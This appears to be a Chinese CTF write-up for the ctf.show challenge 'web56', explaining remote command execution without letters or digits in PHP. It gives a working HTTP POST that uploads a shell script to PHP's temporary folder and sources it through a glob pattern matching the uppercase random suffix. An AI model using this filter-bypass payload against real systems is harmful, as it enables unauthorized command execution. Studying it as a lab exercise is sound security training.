web56(无字母数字RCE)
拜读P神的文章,讲的很透彻
. 命令的作用
. file或source file表示在当前Shell环境中执行指定文件中的命令(而不是启动子Shell)。- 例如,在Bash中执行
. script.sh,文件中的命令会直接影响当前Shell的变量、工作目录等状态。
与直接执行脚本的区别
- 直接运行脚本(如
./script.sh)需要文件有可执行权限(x),且会在子Shell中执行。 - 而
. file不需要文件有x权限,只需有读权限(r),且在当前Shell执行。
我们可以发送一个上传包含RCE代码文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。然后我们用上面的方法执行
/???/?????????这个通配符的文件很多,但是文件名都是小写,只有我们上传的有可以是大写
只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件
大写字母位于@与[之间可以用[@-[]表示,最后构造POST包,如果未成功执行可以重发几遍

POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: 9b1febb8-c09e-4610-9cf5-24f019e798dc.challenge.ctf.show
Cookie: _ga_PP4LXQY4W0=GS1.1.1733965285.1.1.1733965624.0.0.0; _ga=GA1.2.242778645.1733965285
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-Forwarded-For: 127.0.0.1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Content-Length: 241
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
cat flag.php
-----------------------------10242300956292313528205888--
#! /bin/sh 是一个 Shebang(解释器指令),用于指定脚本文件的默认解释器
#! /bin/sh 声明该脚本应使用 /bin/sh 执行

浙公网安备 33010602011771号